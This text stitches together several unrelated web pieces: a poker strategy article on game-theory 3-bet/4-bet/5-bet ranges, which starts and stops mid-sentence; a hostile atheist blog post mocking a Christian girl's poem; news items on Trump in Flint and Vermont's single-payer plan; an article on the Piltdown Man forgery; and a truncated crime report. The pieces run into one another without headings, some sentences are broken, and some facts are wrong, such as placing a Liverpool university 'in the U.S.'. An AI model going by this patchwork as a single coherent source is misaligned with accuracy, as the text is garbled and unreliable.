clothing and sprinkles ashes over his head. Damn!!OK, I made up this story, but it illustrates several of the problems an ABC low limit player faces when he moves up to tougher games. He will get 3-bet left and right, so he will have to fold a lot out of position (which is correct). He realizes he has to fight back to avoid getting run over (also correct), but he's not quite sure how to do it. So his attempts to counter the aggression are often poorly executed, frustrating and tilt-inducing.For example, Hero might start calling 3-bets out of position with hands he feels are too good to fold, but not strong enough to 4-bet for value. This leads to many miserable experiences like Example 1.3. Or he might start 4-betting medium/weak hands without a clear understanding of whether he is doing it for value (planning to call a 5-bet), or if he is bluffing (planning to fold to a 5-bet).What our inexperienced Hero might not realize, is that his opponents' loose 3-betting doesn't necessarily mean they are willing to splash around with lots of weak hands in 4-bet and 5-bet pots. When two good and aggressive NLHE-players engage in 3-bet/4-bet/5-bet warfare preflop, this is what usually happens:This results in ranges that start loose, but get more and more (but never completely) weighted towards value. And it's usually plain wrong to assume you can 4-bet a medium hand like AJs for value against a loose 3-bettor, and expect to be a favorite when he 5-bets all-in. Yes, AJs is a decent hand against the range that 3-bet you, but it's crushed by the range that 5-bets you, and it's your opponent who decides when the 5th bet goes in (and that rarely happens unless he has the goods).Therefore, if you decide on a frustrated whim to "take a stand" against an aggressive and competent 3-bettor with a hand like AJs, you will discover that in some mysterious way he almost always manages to come up with a better hand when you get all-in preflop.This has lead many an inexperienced NLHE player to lose his stack, since these players:Let's look at Example 1.4 again. Hero open-raised AJs (correctly), and he got 3-bet. He then decided that his AJs was a good hand against Villain's 3-bet range (debatable, but not a big mistake), so he 4-bet for value (wrong!), planning to call a 5-bet all-in. Playing AJs for value after a 3-bet and going all-in with it was a big mistake. The 4-bet in itself was not a big mistake, since Villain has a lot of bluffs in his 3-betting range, and he will fold most of them to a 4-bet. So it's not a problem to 4-bet AJs as a bluff against a range full of 3-bet bluffs. But when Villain comes over the top with an all-in 5-bet, our AJs crumbles to dust (if Villain knows what he is doing).But our inexperienced Hero did not realize what had just happened when he got 5-bet, and he stuck with his plan of playing AJs for value against what he perceived to be a wide and weak range. The problem is that the range he facesisn't wide and weak, it's very narrow and very strong.Note what the real mistake was in this hand. 4-betting AJs against a wide range was not a big mistake in isolation, and neither was calling a 5-bet getting 2: 1. But the combination of 4-betting AJs +, now that was a big mistake against a competent opponent. It caused Hero to invest his remaining 96.5bb stack as a huge underdog. The problem was, as mentioned previously, that his opponent controlled when the 5th bet went in, and Villain made sure he had a hand.Our goal for this article is to give Hero a set of tools he can use to comfortably counter preflop aggression when he is sitting as the raiser out of position. We'll base our work on Hero's opening ranges, and based on these, we can deduce defensive strategies against positional 3-bets. And we will use game theory to design these strategies in such a way thatin these scenarios. Our work on Hero's game theory optimal defensive strategies also gives us a set of optimal 3-betting strategies for his opponent, so we kill two birds with one stone.We have here talked mostly about the ills of getting 3-bet when sitting out of position, and this is what I feel inexperienced players find hardest to deal with. But the mirror image of this scenario, with us being the 3-bettor in position, is also worth discussing. These are easier scenarios to play, but we will benefit a lot from understanding optimal 3-bet/4-bet/5-bet dynamics also from this perspective. We'll learn how to construct optimal 3-betting ranges, based on the raiser's opening range, and we'll learn how to play against a 4-bet.Regardless of whether we're the raiser or the 3-bettor, we want to understand which hands we can (re)raise for value, and which hands we (re)raise as bluffs. And above all else, we want it to be 100% clear which of these two things we are doingIn this article we'll design so-calledfor the raiser and the 3-bettor in the following scenario:- The raiser opens some range- A player behind him 3-bets- The raiser 4-bets or folds- The 3-bettor 5-bets, or folds to a 4-betNote that the raiser is always out of position (e.g. UTG, MP, or CO), and that no other players interfere.We'll define afor this scenario with 100bb stacks and standard bet sizing. Then we'll analyze our model, using mathematics and principles from game theory (but we'll keep it as simple as possible). We then construct game theory optimal(ish) strategy pairs for the raiser and the 3-bettor (one strategy for the raiser, and one matching strategy for the 3-bettor) that they can employ in their 3-bet/4-bet/5-bet wars.Both players are trying to play perfectly against the other, and both are assuming their opponent is trying to play perfectly as well. The two players now both zoom in on a perfect strategy, designed not to lose against their opponent's perfect strategy. And the result is a pair of strategies that are perfect against each other, and we have our optimal strategy pair.When we have learned these strategies, we have defensive (e.g. unexploitable) strategies we can use both as the raiser out of position, and as the 3-bettor in position. Using these optimal strategies guarantees that better players can't exploit us. They will also win against players who play poorly, although they will not win the maximum (if we want to exploit opponent leaks maximally, we have to deviate from optimal play ourselves, and use strategies that target specific leaks in our opponent's non-optimal strategies).Knowing optimal strategies also makes it easier to spot our opponents' mistakes (where we can define "mistake" as a deviation from optimal play). If we know what an opponentif he had played optimally, we can conclude that he has a weakness in his game if he chooses to do something different. And we might be able to exploit these weaknesses and turn them into leaks for him.Before we get started, I want to give credit to Cardrunners instructor Matthew Janda. During the spring of 2010 he published a 3-part video seriesat Stoxpoker, which contains most of the theory we use in this article. This video series was inspiring and eye-opening, but sadly it became unavailable after Stoxpoker shut down in May 2010.Matt Janda is now a Cardrunners instructor, and he continues to produce game theory related videos. His old videos from Stoxpoker might get moved over to Cardrunners, and if that happens, I recommend you check them out.Without further ado, let's get started:I have chosen an approach where we first go through the necessary math and theory quickly, and then we apply it by constructing optimal strategy pairs for two scenarios:- The raiser in early position (UTG or MP) with a 15% opening range- The raiser in CO with a 25% opening rangeLumping UTG and MP together under the label "EP" makes sense, since most players use very similar ranges for these two positions. The percentages we have chosen for EP and CO are typical TAG ranges that can be used under all game conditions.The exact ranges we use to illustrate the procedures aren't important. Our goal is that you learn to construct optimal strategy pair (one strategy for the raiser and one for the 3-bettor) based onopening ranges. And you will of course also be able to design optimal strategy pairs to use against specific opponents (not on the fly, but by doing a bit of analysis work between sessions).We use the following scenario:Note that Alice doesn't defend against 3-bets by calling out of position. Weconceivably design a defense strategy where we fold weak hands, 4-bet strong hands, and call with medium hands, but this is not a good strategy out of position with 100bb stacks.You have poor implied odds (due to low stack/pot ratio and being out of position) when you call for postflop value with implied odds hands. And it's difficult to steal and outplay Villain when you are out of position. And what you absolutely cannot do, is to call and then play fit-or-fold postflop. It will be much more fold than fit, and you are simply burning money by letting Villain c-bet his way to riches and early retirement on your expense.With regard to Alice's choice of 4-bet size, it's standard to use 25-30bb (where full pot would be 37.5bb) with 100bb stacks. The logic behind this is that with 100bb stacks, we are putting Villain in a shove-or-fold scenario, also when we 4-bet a bit less than pot. His 3-bet bluffs will still fold, and his strong hands will still shove. So we win the same when he folds, but lose less on our bluffs when he doesn't fold. In other words: We risk less for the same reward when we're bluffing, and we don't lose anything when we're 4-betting for value. We simply choose 27bb as a representative value for a less-than-pot 4-bet, and the math won't change much if you use any number between 25bb and 30b instead.Here are a few assumptions/statements we will use:The last statement needs an explanation: When we're 3-betting/4-betting/5-betting as a bluff, we should not lose money on our bluffing hands, and the worst of them should be no worse than break even. The same goes for when we're calling for pot odds. This makes sense if you think about it. When we're making a play that loses money, we should stop doing it to increase our EV.Note that we're not concerned about the effects of deception when we work with game theory. We're only concerned with immediate EV. Also, if we're making money on all our bluffs or our calls, we can make even more money by bluffing more and calling more. So we keep adding bluffs and calling hands until our weakest hands are at the break even point, and then we stop. Conversely, if we're losing money on some of our bluffing or calling hands, we remove them from our ranges. Again, this results in our weakest bluffing/calling hands being no worse than break even.Under these assumptions, we'll find anwith a raising strategy (including defense against a 3-bet and against a 5-bet) for Alice, and a 3-betting strategy (including defense against a 4-bet) for Bob. We'll find a unique strategy pair for each of Alice's positions (e.g. for each of her opening ranges). We'll soon see how these strategy pairs follow from Alice's opening range, but first, let's talk a bit about optimal strategy pairs:When our two players Alice and Bob are playing optimally against each other, Alice's strategy and Bob's strategy make up an optimal strategy pair. When both are playing optimally, neither of them can gain from changing to a different strategy. If one of them can gain from switching to another strategy, then the original strategy wasn't optimal.It's important to realize that a game theory optimal strategy doesn't try to maximize +EV against a random opponent. It's trying to maximize EV against an opponent who is also. Sometimes, this means the best result for both players is to break even. A game theory optimal strategy is first and foremost a, designed not to lose. However, an optimal strategy will win against players who are using non-optimal strategies. But If we see an opponent making big mistakes, we will winby switching to an, designed to exploit this opponent's specific leaks maximally.But by changing our strategy from optimal to exploitative, we are moving away from optimal play. By doing so, we are creating weaknesses in our strategy, and other players might be able to exploit those weaknesses (although they might not see them). But if the weak player we are trying to exploit has big leaks, this trade off will usually be worth it. The art of playing against fish and regs at the same time is to exploit the fish, while we're defending ourselves against the regs. Against very poor opponents, we use very exploitative strategies. Against players who are as good as us, or better, we can fall back on optimal strategies so that they can't exploit us.To balance these two goals well, we need to have an understanding of what optimal play is. Playing optimally (or, more likely, close to optimally) defends us against the good players, and understanding optimal play also makes it easier to spot mistakes in weak players (where "mistake" can be defined as deviating from optimal play).With these concepts at the back of our mind, we move on to the mathematics behind optimal strategies for raising, 3-betting, 4-betting, and 5-betting with 100bb stacks:We work our way through the raise/3-bet/4-bet/5-bet war, one step at a time, and construct all the mathematical tools we need. We jump back and forth between Alice and Bob, and we'll see how they influence each others' strategies when they both are trying to play perfectly against each other, assuming the other player is also trying to play perfectly.The process starts with Alice raising some opening range known both to her and to Bob. When Bob 3-bets, Alice's most pressing concern is the following:So how often does Alice have to 4-bet? This follows from the pot odds Bob is getting on his 3-bet bluffs. There's 1.5 + 3.5 =5bb in the pot from the blinds and Alice's raise, and Bob 3-bets to 12bb to win this. Bob is then risking 12bb to win 5bb, and he's getting effective pot odds 5 : 12 on a 3-bet bluff.He then needs to win more than 12/(5 + 12) =70% to have a profitable bluff. So if Alice folds more than 70%, Bob will have an automatic profit by 3-bet bluffing any two. Alice needs to prevent this, so she has to 4-bet enough to make Bob's bluffs break even.Alice's optimal 4-betting strategy is therefore to 4-bet 30% of her opening range, and she will 4-bet a mix of value hands (planning to call a 5-bet) and bluffs (planing to fold to a 5-bet). We'll compute Alice's optimal value/bluff ratio in a moment, but first we have to find Bob's optimal ranges for 3-betting and 5-betting. These ranges follow from Alice's opening range:When Alice 4-bets to 27bb, she is risking 23.5bb (27bb minus he 3.5bb raise) more to win a 17bb pot (1.5bb from the blinds + Alice's 3.5bb raise + Bob's 12bb 3-bet). The effective pot odds for Alice's 4-bet bluffs are 17 : 23.5, and she can make a profit by 4-bet bluffing any two (of the hands she open-raised) if Bob folds his 3-betting hands more than 23.5/(23.5 + 17) =58%.Bob can't allow Alice to 4-bet bluff any two cards profitably, so he defends optimally by folding exactly 58% of the time, and 5-betting all-in (including some 5-bet bluffs as we shall soon see) 42% of the time. Therefore, 42% of Bob's 3-bets need to be value hands that he plans to 5-bet all-in (including some 5-bet bluffs). We now define aas a 3-bet where we plan to 5-bet all-in after a 4-bet. If this is not our plan, we are making athat we will fold to a 4-bet.To make these percentages easy to remember, we round Bob's optimal 3-bet value/bluff ratio to 40/60. So now we know that 60% of Bob's 3-bets should be bluffs, and 40% should be for value (including some 5-bet bluffs). But we still don't know how many hands Bob should 3-bet overall. To find this number, we first have to find which hands Bob can 5-bet for value.Bob first chooses the type of hands to 5-bet bluff with. He wants hands that have decent equity when called, and we can use Axs hands A5s-A2s for this purpose. Axs hands work as blockers against Alice's AA/AK (an ace in Bob's hand makes it less likely Alice has AA/AK), and they always have at least an overcard when Alice has another high pair. They also have straight and flush potential.Axs has minimum ~30% equity when we 5-bet and get called, even against a strong range, as shown below:So Bob will 5-bet a mix of true value hands and some Axs bluff hands, and he expects to have about 30% equity when his bluffs get called. So when he 5-bet bluffs and gets called, he will have ~30% equity in a 201.5bb pot where he invested 88bb with the 5-bet. Bob first 3-bet to 12, so the 5-bet is 88bb more. On average, Bob gets 0.30 x 201.5 =60bb back from the pot, so his net loss after 5-betting and getting called is 88 - 60 =28bb.The pot size before Bob's 5-bet is 40.5bb (1.5 from the blinds, + 27 from Alice's 4-bet + 12 from Bob's 3-bet). So Bob is effectively risking 28bb to win 40.5bb when he is 5-bet bluffing. The effective pot odds are 40.5 : 28, and Bob needs to win at least 28/(28 + 40.5) =40% to profit from 5-bet bluffing any two (or more precisely, any Axs hand, since we base our calculations on having ~30% equity when called).For Alice, this means she has to call a 5-bet 60% of the time to prevent Bob from making a profit by 5-betting any two. So Alice's 4-betting range has to contain 60% value hands and 40% bluff hands. Now we know everything we need to know about Alice's 4-betting range. She 4-bets 30% of her opening range, and she uses a 60/40 value/bluff ratio. We'll summarize Alice's total optimal strategy below, but first we'll find out how often Bob should 3-bet.We know which type of hands Bob should 5-bet bluff (Axs), and we know he should use a 40/60 value/bluff ratio (which, coincidentally is the opposite of the ratio for Alice's 4-bet range). The last piece of information we need is Bob's3-bet percentage in an optimal 3-betting strategy. We find the answer by observing that Bob should 5-bet bluff enough to make Alice's weakest value hands break even. He he bluffs more, Alice can gain by calling with more hands, and then Bob's strategy can't be optimal. And if he bluffs less, Alice can gain by folding more hands, and Bob's strategy can't be optimal in this case either.How many Axs hands we need to make Alice's weakest 5-bet calling hands break even varies with Alice's value range (60% of 30% of her opening range), which follows from her opening range. So we have to compute this result on a per-case basis, for every one of Alice's opening ranges. We'll give a quick example in the summary below, and the procedure will be thoroughly discussed later in the article.We summarize everything we have learned about Alice's optimal strategy for raising, 4-betting and calling 5-bets:- She needs to 4-bet 30% of her opening range- Her 4-betting range should have a 60/40 value/bluff ratioSo Alice's optimal strategy is:So Alice's value hands are the top 18% of her opening range. For example, if she opens 15% from UTG, this corresponds to a value range of 0.18 x 0.15 =2.7% of all hands. This makes up 0.027 x 1326 =36 combos, e.g approximately the range {QQ+, AK} =34 combos. We'll use this value range example when we summarize Bob's optimal strategy below. And then we'll illustrate each strategy step thoroughly when we apply the theory to Alice's EP and CO openraises.We summarize everything we have learned about Bob's optimal strategy for 3-betting and 5-betting:For example, if Alice raises 15% from the UTG, her optimal value range is {QQ+, AK} as shown previously. Bob chooses value hands that are at least 50% against this range, and his pure value range becomes {KK+}. Then he adds Axs hands as 5-bet bluffs until Alice's weakest value hands (QQ and AK) are break even against his total 5-bet range.Alice then calls her remaining 73 BB to win a 189.5 bb pot (1.5 from the blinds, 100 from Bob, 27 from Alice's 4-bet), so her pot odds are 128.5 : 73. She needs minimum 73(/128.5 + 73) =36% equity to profit from calling, so Bob makes sure her weakest value hands have against his 5-bet-range. Later in the article we'll show that Bob ends up with a total 5-bet range of {KK+, A5s, A4s} when Alice's value range is {QQ+, AK}This gives Bob {KK+, A5s, A4s} =20 value combos that he 3-bets, planning to 5-bet all-in. Then he picks hands to 3-bet bluff until he has a 40/60 ratio between value combos and bluff combos. Bob needs 60/40 =1.5 bluff combos for every value combo, so he will choose 1.5 x 20 =30 bluff combos against Alice's {QQ+, AK} value range.You should memorize both Alice's strategy and Bob's strategy until you know them cold. It's not really complicated at all. Just remember that Bob uses a 40/60 value/bluff ratio for his 3-bets, and Alice uses a 60/40 ratio for her 4-bets, and then you know the most of it. Value hands are per definition hands we plan to raise and reraise until we are all-in. Bluff hands are hands we plan to fold if our opponent reraises us back.We now begin the job of constructing optimal strategy pairs for Alice and Bob. First when Alice raises a 15% range from EP, and then when she raises a 25% range from CO. We'll do this thoroughly and methodically, so that you can learn the procedures inside out. I hope you'll see that these strategies aren't really complicated to construct and then apply at the table.We'll now find the optimal strategy pair for Alice and Bob when Alice open-raises from early position (EP =UTG or MP), and it's folded to Bob in position.It's of course possible to vary EP opening ranges a lot, according to opponent tendencies and general game conditions. But the core strategy for a typical TAG is to open somewhere around 15% of his hands (plus/minus a couple of percentage points in both directions) from both EP positions, and slightly tighter from UTG than from MP.We'll construct all strategies/ranges with great detail for this scenario, so that there won't be any doubt about how to apply the theory. Then we'll move on to the scenario with Alice in CO, and do this quickly, with brief comments along the way.We assume Alice is opening with a ~15% EP range. Note that any 15'ish% EP-range will do, since our work is based on the numbers of hands in the range, and not the specific hands it contains. Obvious value hands like high pairs and AK have to be included, since these hands have a job to do in the ranges for 4-betting and calling 5-bets. But the exact mixture of medium and weak hands in Alice's range is irrelevant.We give Alice the following range:22+ATs+ AJo+KTs+ KQoQTs+J9s+T9s98s87s76s186 combos14%We now place Bob somewhere with position on Alice. Alice open-raises and it's folded to Bob, who 3-bets. Both players want to play perfectly against the other, and both assume the other is also trying to play perfectly.Alice starts by defining her value range. This is per definition the hands she plans to 4-bet for value and then call a 5-bet with. She counts the total number of combos in her opening range (186), and she knows that she on average has to defend 30% of her total range against a 3-bet. She also knows that the optimal value/bluff ratio of her 4-betting range is 60/40. So she 4-bets 0.60 x 0.30 =18% of her opening range for value, and 0.40 x 0.30 =12% as a bluff.Alice then 4-bets 18% of the 186 combos for value, e.g. 0.18 x 186 =33 value combos. This corresponds almost exactly to the value range {QQ+, AK} =34 combos (a couple of combos too many or too few doesn't matter much). This is a standard value range from EP, also for players who haven't studied optimal raise/3-bet/4-bet/5-bet strategies.Now the 4-bet bluff range. These are the hands Alice 4-bets and then folds to a 5-bet. There are two ways to define the bluff 4-bet range: We can choose some specific bluff combos and always 4-bet them, or we can 4-bet all the non-value hands a certain % of the time.Let's illustrate both methods:If we choose specific bluff combos, we need 12% of 186 combos, e.g. 0.12 x 186 =22 bluff combos. For example, we might choose AQ (16) + JJ (6) which gives us exactly 22 combos. Or we can choose something different, since it doesn't matter what we use for bluffs when Bob either folds or 5-bets all-in. When Bob doesn't fold to our bluffs, he 5-bets, and we have to fold, so our 4-bet bluff hands never get to see a flop. And when they never get to see a flop, their postflop value is irrelevant.But note that a hand like AQ works as a blocker against Bob's premium hands (AA, AK, QQ). So when Alice uses AQ as a bluff, it will be less likely that Bob has a hand he can 5-bet for value. Keep this in mind if you are choosing specific hands to always use for 4-bet bluffing.My preferred method, and also the easiest method to remember. We only need to remember one number, namely the static percentage Alice 4-bet bluffs her non-value hands. Let's find this percentage once and for all:Alice 4-bets 18% of her opening range for value, and she's left with 82% non-value hands she can use for 4-bet bluffing. We now choose to use all these hands a fixed percentage of the time, so that the effective total value/bluff ration is 60/40. We now want:So we 4-bet bluff all non-value hands 15% of the time and fold them the remaining 85% of the time. Note that this percentage is universal for Alice. No matter what her opening range is, she can always use this percentage to obtain a 60/40 value bluff ratio for her 4-bets.Let's double-check to see that this works the way it should:When Alice has raised some opening range and gotten 3-bet, we have deduced that her optimal value 4-bet range is 18% of her total range. If she 4-bets the remaining 82% of her range as a bluff 15% of the time, her overall bluff percentage will be 0.15 x 0.82 =0.12 =12%. So her to -Illustrating the intellectual dangers of a Christian education, a brainwashed young woman delivers a shrill and historically inaccurate vision of America, claiming the U.S. was ”founded on the Gospel of Jesus Christ.” In a vulgar and demoralizing display of naive Christian imperialism, young Karis Peters delivered a spoken word poem at the 2015 ACE International Convention in Las Cruces, New Mexico. Peters, hailed by some Christian extremists as a “21st Century Esther” recited a revised version of Carman’s “We Need God In America Again.” Declaring “The only hope for America is Jesus,” Peters delivered a shrill rant full of historical inaccuracies and Christian hubris. For example: Our country was founded on the Gospel of Jesus Christ. We eliminated God from the equation of American life. Thus, eliminating the reason this nation first began. From beyond the grave, I hear the voices of our founding fathers plead: ‘You need God in America again.’ and: If you want to see kids live right, stop handing out evolution and start handing out the word of God. and: The only hope for America is Jesus. To be clear: Peters is a victim – a victim of parents and adults blinded by religious superstition and ignorance, a victim of parents and adults willing to use children as canon fodder in their holy war, their jihad for Jesus. To be clear: The blame rests with the parents and other adults involved in the so-called education of this young woman. One can only be sad and depressed after witnessing this obviously bright and talented young woman recite such foolish nonsense. We can only hope she manages to escape her bondage to ignorance in the service of extreme Christian dogma, and develops the critical thinking tools denied to her by her extreme Christian education. Ultimately, when all is said and done, one is left with the following question: When does religious indoctrination become child abuse? (H/T Christian Nightmares, Friendly Atheist) -The pastor of a black church interrupted Donald Trump’s remarks in Flint, Michigan, on Wednesday as the Republican presidential nominee began to attack his Democratic opponent, Hillary Clinton. “Mr. Trump, I invited you here to thank us for what we’ve done in Flint, not to give a political speech,” the Rev. Faith Green Timmons told Trump as she approached the businessman. Trump turned to the pastor and immediately changed course. “Oh, oh, oh, OK, that’s good. Then I’m going to back on Flint. OK,” he said, before addressing the community once more. Trump spoke in front of about 50 Flint residents at Bethel United Methodist Church, which has distributed aid and water to the community during the lead crisis that started in 2014. The GOP nominee praised residents for their response to the crisis, before launching into an attack against Clinton and her support for trade agreements such as NAFTA. Earlier in the day, he toured the city’s water treatment plant. IRS regulations bar tax-exempt churches like the one Trump spoke at from participating in electioneering. Timmons released a statement prior to Trump’s visit, clarifying that his presence at the church “in no way represents an endorsement of his candidacy.” “What we pray is that it conveys a final example of a faithful, intelligent, historically African-American congregation at work, serving and volunteering among the people of Flint as we work through this crisis of national impact. We cannot let this story drift from national attention for any reason,” she added. Watch the video above. -When Sen. Bernie Sanders regales his campaign crowds with a portrait of The Way Things Are Going to Be, his “Medicare for All” program takes center stage. In a Sanders administration, the candidate promises, every man, woman, and child in America will share in a government-run, government-funded health-care system. But the single-payer system that Sanders is evangelizing isn’t just a figment of progressive utopian fantasies. Single-payer health care has already been tried—and failed—in Sanders’s home state of Vermont, where the proposal collapsed under its own weight last year before it was ever implemented. Deciding why it failed in Vermont is key to whether you buy into the candidate’s promise to extend the program nationwide. According to critics, from The New York Times’ Paul Krugman to USA Today’s editorial board, Sanders’s single-payer plan is something between a well-intentioned fool’s errand and a political pipe dream, an unrealistic idea that has been proven not to work in the senator’s own backyard. But closer to home, activists say Vermont’s failure even to implement its plan for universal health care was a failing of political will, not the policy itself. In better hands, they say, the policy can still work. To know the difference, it’s important to understand how Vermont got so close to single-payer in the first place. In 2011, the state’s Democrat-controlled legislature approved a government-run, government-financed health-care system for all Vermonters. The state’s new Democratic governor, Peter Shumlin, signed the bill into law after campaigning on a pledge to enact single-payer himself. A cost estimate of the program, known as Green Mountain Care, was ordered, but long delayed. Elections came and went, including Shumlin’s own 2014 reelection, which was so close Vermont law required the final decision to go to the legislature after Shumlin failed to win a majority of the vote in November. As the state waited for the legislature to take up the election results, Shumlin announced that he would not pursue single payer after all when the long-awaited financial projections showed “the promise and the peril” of a single-payer system. The promise, of course, was a chance to give nearly every Vermonter reliable access to quality health care. But the very real peril came in the cost for the program, an estimated $4.3 billion a year, almost the size of the state’s entire $4.9 billion budget. To make up for the $2 billion shortfall, taxes would have to go up, a lot. Businesses would see an 11.5 percent payroll tax increase, on top of whatever they chose to provide for employee health care, while individual income taxes could jump by up to 9 percent. The report recommended against moving forward “due to the economic shock and transition issues,” and Shumlin agreed. “I wanted to fix this at the state level. And I thought we could,” Shumlin said in a statement issued with the financial report. But he called implementing single-payer health care in 2015 “unwise and untenable.” Despite the ominous budget projections at the time, single-payer advocates now say they believe Shumlin’s decision was purely political. “Right up to the last gubernatorial election, Gov. Shumlin was saying he was going to do everything he could to make single-payer health care a reality in the state. That was quite frankly why we didn’t run a candidate against him,” said Kelly Mangan, the executive director of the Vermont Progressive Party. “Almost immediately, he turned around and said, ‘Oh, yeah, we can’t afford single-payer health care. It’s not going to happen.” Mangan described single-payer advocates today as “fatigued and very disheartened.” As Vermont’s state budget continues to be squeezed by Medicaid costs, she said the possibility of returning to the issue any time soon seems unlikely. She also worries that Vermont’s example will damage future prospects nationally. “I think it will have a ripple effect. People will use it as an excuse to do nothing by saying, ‘If they couldn’t do it there, then it can’t be done,’” she said. Dr. Gerald Friedman, an economics professor at UMass-Amherst and a part-time Vermonter, has worked with Sanders to develop and calculate the cost of his plan and says the budget wasn’t the problem for the Vermont proposal. The governor was the problem. “On the economics, it would have been cheaper, but the governor just lost the political will,” Friedman said. But the professor acknowledged that any national health care proposal from Sanders would face the same political headwinds that Shumlin ran into. “It’s going to be a tough road, and Vermont is a lesson,” he said. “It’s unfortunate that it happened the way it did.” Even with the Vermont debacle in the rearview mirror and Friedman’s own projections that Sanders’s “Medicare for All” would cost north of $14 trillion over 10 years, the politics of single-payer are still working for Sanders. The latest Kaiser poll showed 81 percent of Democrats favor a “Medicare for All” proposal, while 60 percent of independents favor it, too. Clinton has dismissed Sanders’s proposal as unrealistic and a danger to the reforms that have already been enacted through the Affordable Care Act. That argument seems to be falling flat in New Hampshire, where the latest WMUR poll showed Sanders trouncing Clinton by nearly 30 points. But at least Clinton can count on some support when the campaign gets to Vermont. Gov. Shumlin, who will not run for reelection, has announced he’s with her. -Piltdown Man is one of the most famous scientific hoaxes in history. A new paper in Royal Society Open Science provides compelling evidence that there was just one forger, rather than many. Also, the bones used to create the fakes came from a single orang-utan specimen and at least two human skulls. “The people at the Natural History Museum [in London] have never stopped looking at Piltdown Man,” lead author Isabel de Groote, a paleoanthropologist at Liverpool John Moores University in the U.S., told Gizmodo. As new technologies become available, the specimens are re-examined, in hopes of shedding light on the remaining mysteries. This time around, the analyses included CT scanning, ancient DNA analysis, spectroscopy, and radiocarbon dating. Advertisement When paleontologist Arthur Smith Woodward and lawyer and amateur antiquarian Charles Dawson announced their discovery of unusual fossils in a gravel pit near the town of Piltdown in December 1912, it caused an immediate sensation. The two men claimed to have excavated human skull fragments and a distinctly ape-like jawbone with two worn molar teeth, along with some stone tools and the fossilized remains of animals. Since the bones were found next to each other in the pit, surely, the men argued, they all came from a single creature—technically called Eoanthopus dawsoni, but soon nicknamed Piltdown Man. Many hailed the find as the long-sought missing link proving that man and apes were evolutionarily linked. Woodward and Dawson presented a reconstruction of what such a skull might have looked like to the Geological Society of London that same month, speculating that the individual to whom it belonged must have lived 500,000 ago. More such fossils were excavated at the original Piltdown site over the next few years, including a canine tooth and an oddly curved slab of bone resembling a cricket bat. Advertisement Dawson died in 1916, but the year before, he wrote to Woodward claiming he had found three more fossil fragments (including a molar) from another skull at a second site just a couple of miles from the first one. The Piltdown 2 site was never found, and Woodward didn’t present the new fragments to the society until several months after Dawson’s death. There were certainly skeptics within the scientific community when the discovery was announced, but eventually Piltdown Man was accepted as the real deal. It took 40 years before a team of researchers at the British Museum uncovered the fakes in 1953, using the then-new technique of fluorine dating. They found that the bones were not all the same age. The upper skull was 50,000 years old, and the ape-like jawbone just a few decades old, most likely taken from a modern orang-utan. There was also evidence that the jawbone had been stained with potassium dichromate to give it an older, reddish-brown appearance. Advertisement So it was clearly a hoax. But was Dawson the sole perpetrator, or did he have help from a fellow forger? Or was it someone else entirely? Woodward, at least, seems to have a been a true believer, continuing the search for more such fossils until his death in the 1940s. One suspect was Martin Hinton, a British Museum staffer who didn’t like Dawson and may have nursed a grudge. Some surmised he may have planted additional fossils after the first “discovery,” as a way to discredit his adversary—or at least let Dawson know he was onto him. Still others have argued that a young French priest named Pierre Teilhard de Chardin, who was present when the canine tooth was found, may have planted that particular artifact. Even Sherlock Holmes creator Sir Arthur Conan Doyle made the list of suspects, since he lived near Piltdown, was a paleontology buff, and was rather hostile to the theory of evolution. Advertisement This latest analysis exonerates the usual suspects and pins the blame on Dawson alone, since the forger’s modus operandi was so consistent among all the fakes, and a limited number of specimens were used to create all the fake fossils. He brought the first fossils to Woodward, and nobody ever uncovered a new specimen when he wasn’t present at the site. No more Piltdown fossils were found after Dawson’s death in 1916. He had the necessary access and connections, and he knew that the British scientists would expect to see “a large brain, ape-like face and jaws, and heavily fossilized materials that indicated great antiquity” in any missing link, the authors write. And Dawson turned out to be a prolific forger—at least 38 fake finds, according to de Groote, including a stone axe, a fraudulent flint mine at the Lavant Caves, and what he claimed was one of the first bronze statuettes linked to Roman times. “He clearly had been doing this for a very long time,” she said. Not coincidentally, the paper’s been published on the 100th anniversary of Dawson’s death (August 10, 1916). Advertisement The CT scans and DNA sequencing analysis show quite clearly that the teeth and jawbone came from a single orang-utan, most likely a relative of the apes found in Borneo. Two or three human skulls were also used in the forgery, likely dating to the medieval period. There was gravel from Piltown in the bones and teeth, and also a kind of putty—what a dentist would have used at the time to make a white filling. The putty had been used to fill holes and repair broken bones, and there was evidence that the molars had been removed and then re-set in the jaw. This clearly links the fossils found at the Piltdown 1 and Piltdown 2 sites. Advertisement So is the case now closed? Not quite. At least one paleoanthropologist isn’t ready to exclude the possibility that Dawson had an accomplice—namely, the French priest, Teilhard de Chardin, who had a reputation as being a prankster, according to Francis Thackery to the University of Witwatersrand in South Africa. “My view is that Teilhard was an advisor to Dawson and that the motive behind the forgery was that it was initially a joke against [Smith] Woodward,” he told Science magazine. There is also still the question of why the canine is a darker reddish-brown than the other bones. And where did Dawson get his putty? Plus, the ancient DNA analysis of the human bones came up empty, as did the radiocarbon dating, although they may be as much as 1000 years old. De Groote said they opted not to go deeper into the bone to remove more sample material for a re-test. “We decided, let’s leave them and maybe several years from now, other new technologies will come around,” she said. “Although fake, the fossils do have cultural value. They’re almost antiques and we don’t want to destroy them.” Advertisement The paper is surprisingly readable, due in large part to de Groote’s desire to “write the story rather than a [typical] science paper,” thereby providing a unifying framework for the different analyses. Because let’s face it: it’s one hell of a story. And in this case, that story enhances, rather than detracts from, the scientific content. There’s even a section speculating about Dawson’s possible motivations, based on historians’ analysis of the many letters and papers Dawson left behind. “That’s the hardest thing for me as a scientist, to do,” de Groote admitted. “I look at numbers and images, I say this is right or wrong.” The question of why is much more difficult to answer, but Dawson certainly had high ambitions for his scientific career, complaining in a 1909 letter that he was still waiting for that one “big ‘find’” that would cement his reputation and earn him a fellowship with the Royal Society. Dawson died before any such election could take place, but he fooled a great many smart people for several decades. The authors write that this should serve as a warning to not let our preconceived notions cloud our view of the evidence. “It was a lesson we had to learn the hard way,” said de Groote. “I just hope it doesn’t happen again.” Advertisement [Royal Society Open Science] -MARTIN COUNTY, Fla. -- Sheriff's deputies were called to Kokomo Lane in Martin County, Florida, on Monday evening because a neighbor told 911 he'd been stabbed trying to break up a fight. CBS Tampa affiliate WPEC reports that when the first deputy arrived, the sheriff said she had found a man on top of another one in a driveway, biting his face. The sheriff said the suspect was removing the victim's flesh with his teeth. Eventually, multiple deputies and a K-9 pounced, trying to remove the suspect from the prone man on the ground. They used a stun gun, but only after use of great force from every law enforcement officer available could they remove him. The victim was pronounced dead at the scene. His wife was found dead as well inside the garage of their home. The age and identity of the victims and suspect has not been provided. The sheriff would only say the suspect and the deceased couple knew each other. The Good Samaritan who called 911 and tried to rescue his neighbor suffered 